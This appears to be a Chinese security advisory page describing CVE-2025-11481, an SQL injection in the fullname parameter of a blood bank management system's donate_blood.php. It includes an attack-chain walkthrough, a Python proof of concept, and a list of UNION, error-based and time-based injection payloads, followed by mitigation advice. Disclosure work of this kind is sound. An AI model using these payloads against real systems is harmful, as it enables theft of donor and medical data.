IPBUF安全漏洞报告
English
CVE-2025-11481 CVSS 6.3 中危

CVE-2025-11481:Blood-Bank管理系统donate_blood.php SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11481
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
varunsardana004 Blood-Bank-And-Donation-Management-System

相关标签

SQL注入CVE-2025-11481Blood-Bank-And-Donation-Management-SystemPHPWeb应用安全中危漏洞varunsardana004donate_blood.phpfullname参数数据库安全

漏洞概述

CVE-2025-11481是varunsardana004开发的Blood-Bank-And-Donation-Management-System(血库与献血管理系统)中存在的一个SQL注入安全漏洞。该漏洞的CVSS 3.1评分为6.3,属于中危级别。该系统的核心功能之一是管理献血者的信息和献血记录,其中/donate_blood.php文件负责处理献血登记相关的业务逻辑。

根据漏洞披露信息,该漏洞存在于/donate_blood.php文件中,具体涉及对fullname参数的处理逻辑存在缺陷。攻击者可以通过精心构造的恶意SQL语句作为fullname参数的值提交给服务器,从而触发SQL注入漏洞。由于该系统采用滚动发布(rolling release)模式进行持续交付,因此官方未明确披露受影响的具体版本号或已修复的版本信息。

该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),仅需要低权限认证(PR:L),无需用户交互(UI:N)。一旦成功利用,攻击者可以在数据库上下文中执行任意SQL语句,对系统的机密性、完整性和可用性均造成低级别影响。攻击者可能通过该漏洞窃取数据库中的敏感信息(如献血者个人信息、医疗记录等),篡改数据,或者通过进一步的数据库操作(如写入Webshell、读取文件等)实现更高级别的攻击。该漏洞的利用代码已被公开披露,潜在的安全风险较高。

技术细节

该漏洞的根因在于/donate_blood.php文件在处理用户提交的fullname参数时,未对该参数进行充分的输入验证和过滤,直接将其拼接到SQL查询语句中执行,导致SQL注入漏洞的产生。

从技术层面分析,当用户访问/donate_blood.php并提交献血信息时,系统会接收fullname等表单字段作为输入参数。由于fullname参数未经过参数化查询(Prepared Statement)或适当的转义处理(如使用mysqli_real_escape_string等函数),攻击者可以通过在fullname参数中注入SQL元字符(如单引号'、注释符--、UNION关键字等)来改变原始SQL语句的语义和结构。

例如,正常的SQL查询可能类似于:
INSERT INTO donations (fullname, ...) VALUES ('$fullname', ...)

攻击者可以构造如下payload:
fullname=test' OR '1'='1' --

这将导致SQL语句变为:
INSERT INTO donations (fullname, ...) VALUES ('test' OR '1'='1' -- ', ...)

通过类似的技术,攻击者可以实现:1)绕过认证和授权检查;2)提取数据库中的敏感数据(如管理员凭证、献血者信息);3)通过UNION查询获取其他表的数据;4)利用MySQL的INTO OUTFILE等功能写入Webshell;5)通过堆叠查询(stacked queries)执行任意SQL命令。

由于该漏洞仅需要低权限认证即可利用(PR:L),这意味着已注册用户(如普通献血者账户)即可发起攻击,攻击门槛相对较低。漏洞的利用代码已在GitHub上公开(github.com/sanin-s1r3n/CVE-Research),使得该漏洞面临较高的被大规模利用的风险。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统为Blood-Bank-And-Donation-Management-System,通过访问/donate_blood.php等公开页面了解系统功能和参数结构。
STEP 2
步骤2:获取低权限凭证
由于该漏洞需要低权限认证(PR:L),攻击者需要先注册一个普通用户账户或通过其他方式获取合法凭证。
STEP 3
步骤3:登录系统
使用获取的低权限凭证登录系统,建立有效的会话(Session)。
STEP 4
步骤4:构造SQL注入Payload
针对/donate_blood.php的fullname参数,构造包含SQL元字符的恶意payload,如使用单引号闭合、UNION查询或时间盲注等技术。
STEP 5
步骤5:发送恶意请求
通过认证后的会话,将构造好的恶意fullname参数通过POST请求提交给/donate_blood.php。
STEP 6
步骤6:执行SQL注入
服务器将未经过滤的fullname参数拼接到SQL语句中执行,攻击者的恶意SQL代码在数据库上下文中被执行。
STEP 7
步骤7:数据提取或进一步利用
攻击者通过SQL注入提取数据库中的敏感信息(如管理员凭证、献血者个人信息),或利用数据库功能写入Webshell、读取服务器文件,实现对系统的进一步控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11481 PoC - SQL Injection in Blood-Bank-And-Donation-Management-System # Target: /donate_blood.php # Vulnerable Parameter: fullname import requests # Target configuration TARGET_URL = "http://target-server/donate_blood.php" # Attacker credentials (low privilege required) SESSION_COOKIES = { "PHPSESSID": "your_session_id_here" } # SQL Injection payloads targeting the 'fullname' parameter payloads = [ # Basic authentication bypass / boolean-based "test' OR '1'='1' -- ", # Union-based injection to extract data "test' UNION SELECT 1,2,3,4,5 -- ", "test' UNION SELECT user(),database(),version(),4,5 -- ", # Error-based injection "test' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- ", # Time-based blind injection "test' OR SLEEP(5) -- ", "test' AND IF(1=1,SLEEP(5),0) -- ", # Stacked queries (if supported) "test'; SELECT * FROM users -- ", # Extracting table names "test' UNION SELECT table_name,2,3,4,5 FROM information_schema.tables WHERE table_schema=database() -- " ] def exploit_sql_injection(target_url, payload, cookies): """ Send SQL injection payload via the 'fullname' parameter to /donate_blood.php """ data = { "fullname": payload, # Add other required form fields as needed "email": "[email protected]", "phone": "1234567890", "blood_group": "O+", "age": "25" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.post( target_url, data=data, cookies=cookies, headers=headers, timeout=30 ) return response except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return None def main(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Vulnerable parameter: fullname") print(f"[*] Starting SQL injection exploitation...\n") for i, payload in enumerate(payloads, 1): print(f"[+] Payload #{i}: {payload[:80]}...") response = exploit_sql_injection(TARGET_URL, payload, SESSION_COOKIES) if response: print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)}") # Check for SQL errors or data leakage in response if "error" in response.text.lower() or "warning" in response.text.lower(): print(f" [!] Possible SQL error detected in response") print() if __name__ == "__main__": main()

影响范围

varunsardana004 Blood-Bank-And-Donation-Management-System 所有使用 dc9e0393d826fbc85fad9755b5bc12cba1919df2 及之前提交的版本
由于采用滚动发布模式,具体版本号未明确披露

防御指南

临时缓解措施
在官方发布修复补丁之前,建议采取以下临时缓解措施:1)在Web服务器层面部署WAF规则,拦截针对/donate_blood.php的fullname参数的SQL注入攻击;2)通过修改源代码,对fullname参数进行严格的输入验证,仅允许字母、数字和常见字符,拒绝包含SQL关键字和特殊字符的输入;3)限制/donate_blood.php的访问权限,仅允许可信IP访问;4)监控数据库日志,检测异常的SQL查询模式;5)定期备份数据库,以便在遭受攻击时能够快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表